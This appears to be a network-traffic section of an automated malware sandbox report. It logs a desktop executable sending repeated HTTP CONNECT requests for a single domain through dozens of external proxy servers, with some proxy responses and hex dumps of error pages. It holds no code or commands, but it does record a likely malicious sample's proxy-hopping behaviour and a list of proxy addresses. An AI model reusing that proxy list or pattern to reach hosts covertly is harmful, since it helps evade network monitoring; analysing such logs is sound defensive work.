Feb 23, 2024 09:45:31.665205002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1808	192.168.2.4	50338	167.172.159.43	60153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.670241117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.681773901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1809	192.168.2.4	50102	45.117.179.179	3547	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.670243025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.740916967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.741053104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.834387064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.834268093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:19.912446022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1810	192.168.2.4	53026	162.241.79.22	36749	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.734834909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.740917921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1811	192.168.2.4	54957	37.235.24.194	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.734925032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1812	192.168.2.4	50283	72.167.220.46	15758	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.735497952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1813	192.168.2.4	54962	154.66.108.32	3629	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.791835070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1814	192.168.2.4	54475	98.162.25.7	31653	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.799187899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1815	192.168.2.4	54469	174.136.57.169	30453	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.799221039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.850227118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.859224081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1816	192.168.2.4	53015	171.244.140.160	23867	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.799845934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.681121111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.865869999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1817	192.168.2.4	50405	37.252.13.248	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.806941032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.866035938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.866036892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.865704060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.865540028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.881162882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:19.959433079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1818	192.168.2.4	50351	46.182.6.69	63049	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.819696903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.850193977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.859046936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1819	192.168.2.4	54974	8.213.129.20	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.819834948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1820	192.168.2.4	50135	103.134.38.89	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.820157051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1821	192.168.2.4	55001	82.113.157.122	31280	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.833252907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.039539099 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1822	192.168.2.4	54980	85.214.249.84	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.833797932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.383732080 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1823	192.168.2.4	54987	177.135.83.244	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.855961084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1824	192.168.2.4	54497	178.253.200.209	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.856420994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1825	192.168.2.4	50235	182.160.110.154	9898	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.868757963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.855272055 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1826	192.168.2.4	50281	107.148.201.157	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.882600069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.113416910 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1827	192.168.2.4	55019	104.25.115.125	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.919965029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.007657051 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1828	192.168.2.4	55004	92.241.92.218	14888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.929445028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1829	192.168.2.4	54775	175.183.82.221	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.956855059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1830	192.168.2.4	50458	203.161.32.242	52903	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.979505062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.975199938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.975860119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.974919081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.975909948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1831	192.168.2.4	50479	20.118.133.34	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.979644060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.498780012 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1832	192.168.2.4	54810	37.187.77.58	18936	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.980045080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.475107908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.178402901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1833	192.168.2.4	55023	109.238.12.156	46962	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.980294943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.519714117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.037986994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.147219896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.147373915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.147042990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1834	192.168.2.4	54788	202.152.142.186	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.980386019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.146986961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.780484915 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 845 Content-Type: text/html Date: Fri, 23 Feb 2024 08:45:36 GMT Expires: Fri, 23 Feb 2024 08:45:36 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1835	192.168.2.4	55002	113.204.4.142	10800	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.980669975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1836	192.168.2.4	53061	212.42.116.161	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.998569965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1837	192.168.2.4	53091	78.128.81.220	44286	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.010354042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1838	192.168.2.4	53100	176.113.157.149	37417	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.012794018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1839	192.168.2.4	53077	92.246.139.106	32244	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.036230087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.146986961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.147103071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.146898985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:56.147317886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:08.146748066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:20.209299088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1840	192.168.2.4	54996	117.160.250.138	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.059933901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.680959940 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1841	192.168.2.4	55033	18.134.236.231	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.059935093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.221350908 CET	169	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/plain X-Powered-By: Servlet/2.4 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1842	192.168.2.4	55044	142.54.226.214	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.065715075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1843	192.168.2.4	50472	103.165.64.86	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.066062927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1844	192.168.2.4	55049	45.179.231.210	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.209906101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1845	192.168.2.4	54628	192.111.134.10	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.212258101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1846	192.168.2.4	54872	200.174.198.95	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.222731113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1847	192.168.2.4	54548	42.193.58.96	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.222913027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.672243118 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1848	192.168.2.4	55029	116.107.182.41	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
